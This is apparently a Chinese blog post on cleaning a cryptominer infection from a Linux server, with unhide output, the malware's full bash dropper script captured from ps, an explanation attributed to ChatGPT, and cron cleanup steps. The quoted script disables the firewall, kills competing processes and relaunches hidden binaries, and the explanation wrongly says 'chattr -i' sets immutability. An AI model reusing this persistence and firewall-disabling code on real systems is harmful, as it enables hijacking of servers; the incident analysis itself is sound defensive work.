病毒排查
起因
用htop
命令发现32个线程被完全占用,但是没有显示相应的进程,怀疑是中病毒了。
分析
用unhide proc
命令查看隐藏进程,得到:
Found HIDDEN PID: 3010499
Cmdline: "<none>"
Executable: "<no link>"
"<none> ... maybe a transitory process"
Found HIDDEN PID: 3010501
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010502
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010503
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010504
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010505
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010635
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010636
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010637
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010638
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010639
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010640
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010641
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010642
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010643
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010644
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010645
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010646
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010647
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010648
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010649
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010650
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010651
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010652
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010653
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010654
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010655
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010656
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010657
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010658
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010659
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010660
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010661
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010662
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010663
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010664
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010665
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010666
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010667
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010668
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010669
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010670
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010671
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010672
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010673
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010674
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010675
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010676
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010677
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010678
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010679
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010680
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010681
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010682
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010683
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010684
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010685
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010686
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010687
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010688
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010689
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010690
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010691
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010692
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010693
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010694
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010695
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010696
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010697
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
Found HIDDEN PID: 3010698
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=<undefined>
$PWD=/root
尝试把进程kill掉,但是很快CPU又被侵占了。确认就是病毒。
然后用ps
命令想再查看一次进程时:
ps aux --sort=-pcpu | head -10
发现
root 3024733 0.2 0.0 12580 3288 ? S 10:30 0:00 /bin/lRrlrT3D -c #!/bin/bash crontab -r >/dev/null 2>&1 ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e /bin/.locked && grep -vwf /bin/.locked) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null ufw disable >/dev/null 2>&1 iptables -P INPUT ACCEPT 2>/dev/null iptables -P OUTPUT ACCEPT 2>/dev/null iptables -P FORWARD ACCEPT 2>/dev/null iptables -F 2>/dev/null chattr -i /usr/sbin/ >/dev/null 2>&1 chattr -i /usr/bin/ >/dev/null 2>&1 chattr -i /bin/ >/dev/null 2>&1 chattr -i /usr/lib >/dev/null 2>&1 chattr -i /usr/lib64 >/dev/null 2>&1 chattr -i /usr/libexec >/dev/null 2>&1 chattr -i /etc/ >/dev/null 2>&1 chattr -i /tmp/ >/dev/null 2>&1 chattr -i /sbin/ >/dev/null 2>&1 chattr -i /etc/resolv.conf >/dev/null 2>&1 chattr -i /etc/cron.d/systeml >/dev/null 2>&1 chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1 chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1 chattr -i /etc/cron.daily/systeml >/dev/null 2>&1 chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1 chattr -ia /etc/ld.so.preload 2>/dev/null cat /dev/null > /etc/ld.so.preload 2>/dev/null # Check if a file exists containing the previous filenames if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; then # Read the previous filenames from the files read -r file1 < "/usr/lib/systemd/previous_filenames1" read -r file2 < "/usr/lib/systemd/previous_filenames2" else # Generate new random filenames file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" # Save the filenames to files for the next run echo "$file1" > "/usr/lib/systemd/previous_filenames1" echo "$file2" > "/usr/lib/systemd/previous_filenames2" fi # Move the files to their new names mv x86_64 "$file1" 2>/dev/null mv i386 "$file2" 2>/dev/null BACK="$file1" SERVICE="netools" NEO="$file2" EXEC="netools" DIR="/tmp" LOCK_FILE="/bin/.locked" chattr -iaus /etc/cron.*/$COPY /etc/init.d/$COPY 2>/dev/null if [ -e "/bin/.locked" ]; then PID=$(cat /bin/.locked) else # echo "Creating /bin/.locked" touch /bin/.locked 2>/dev/null truncate -s 0 /bin/.locked 2>/dev/null PID=0 # Set an initial value, assuming 0 is not a valid process ID fi # Check if the corresponding directory exists in /proc/ if [ -n "$PID" ] && [ "$PID" -ne 0 ] && ls -la "/proc/$PID" > /dev/null 2>&1; then echo "Running" else echo "Not running" cp "$BACK" "$DIR/$EXEC" 2>/dev/null cp "$NEO" "$DIR/neo" 2>/dev/null chmod +x "$DIR/$EXEC" 2>/dev/null chmod +x "$DIR/neo" 2>/dev/null # Check if the process is not already running before starting it if [ -z "$(pidof "$EXEC")" ]; then "$DIR/$EXEC" --tls >/dev/null 2>&1 sleep 2 PID=$(pidof "$EXEC") fi truncate -s 0 /bin/.locked echo "$PID" > /bin/.locked 2>/dev/null fi sleep 5 "$DIR/neo" "$PID" >/dev/null 2>&1 sleep 2 pkill -f fold pkill -f cat pkill -f tr /bin/lRrlrT3D 1 1
初步断定这个可执行文件就是罪魁祸首,用ChatGPT
分析得到这个脚本的作用:
-
找到并终止当前系统中CPU占用率超过40%的进程
-
调整系统的网络设置,其中包括禁用
ufw
防火墙,以及将iptables
默认策略设置为允许所有的输入、输出和转发。 -
设置
/usr/sbin/
目录的 “immutable” 属性,使得该目录不可以被修改或删除。还有其他的一些文件夹。 -
检查
/usr/lib/systemd/previous_filenames1
和/usr/lib/systemd/previous_filenames2
这两个文件是否存在。如果文件存在,则读取里面的内容(是文件名) -
如果文件不存在,那么生成两个新的随机文件名,并将其赋值给变量 file1 和 file2(
file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1
)。将生成的新文件名保存到两个previous_filenames1
和2中,以便下次运行时使用。 -
将文件 x86_64 重命名为 file1,i386 重命名为 file2。(这个好像不重要)
-
设置一些变量,包括备份文件名、服务名、新文件名等。
BACK="$file1"
SERVICE="netools"
NEO="$file2"
EXEC="netools"
DIR="/tmp"
LOCK_FILE="/bin/.locked"
chattr -iaus /etc/cron.*/$COPY /etc/init.d/$COPY 2>/dev/null
取消文件属性。- 检查锁定文件和进程状态:检查是否存在/bin/.locked,如果存在,读取其中的PID。如果不存在锁定文件,创建并设置PID为0:
- 检查进程是否正在运行:检查指定PID的进程是否存在。
- 如果进程不在运行中,则复制文件、修改权限并启动进程:
cp "$BACK" "$DIR/$EXEC" 2>/dev/null
cp "$NEO" "$DIR/neo" 2>/dev/null
chmod +x "$DIR/$EXEC" 2>/dev/null
chmod +x "$DIR/neo" 2>/dev/null
if [ -z "$(pidof "$EXEC")" ]; then
"$DIR/$EXEC" --tls >/dev/null 2>&1
sleep 2
PID=$(pidof "$EXEC")
fi
truncate -s 0 /bin/.locked
echo "$PID" > /bin/.locked 2>/dev/null
- 等待5秒,然后终止特定的进程:
sleep 5 "$DIR/neo" "$PID" >/dev/null 2>&1
sleep 2
pkill -f fold pkill -f cat pkill -f tr /bin/lRrlrT3D 1 1
总的来说,就是用/bin/lRrlrT3D
这个可执行文件调用一个脚本,这个脚本把 x86_64 和 i386 可执行文件重命名并运行了,可能是为了lRrlrT3D
这个可执行文件后续做什么,这个就不知道了。
处理
首先,先关闭定时启动
vim /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
注释掉:
# 17 * * * * root cd / && run-parts --report /etc/cron.hourly
# 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
# 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
# 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
其次,删除可执行文件。
/etc/cron.hourly
文件夹中的可执行文件,是一串英文的文件:
cat /etc/cron.hourly/nek3MFYw
# */1 * * * * root /bin/lRrlrT3D 1 1
同样还有/etc/cron.hourly
、 /etc/cron.daily
、/etc/cron.weekly
、/etc/cron.monthly
-
删除
/bin/lRrlrT3D
-
查看
previous_filenames1
和previous_filenames2
中的内容(假如是XXX),删除/bin/XXX
、/tmp/XXX
和/tmp/neo
。
最后reboot
注意
在这中间发现没办法开启终端访问服务器,后面发现是因为删除了/dev
文件夹中的很多文件(应该是病毒删除的),reboot
就恢复了。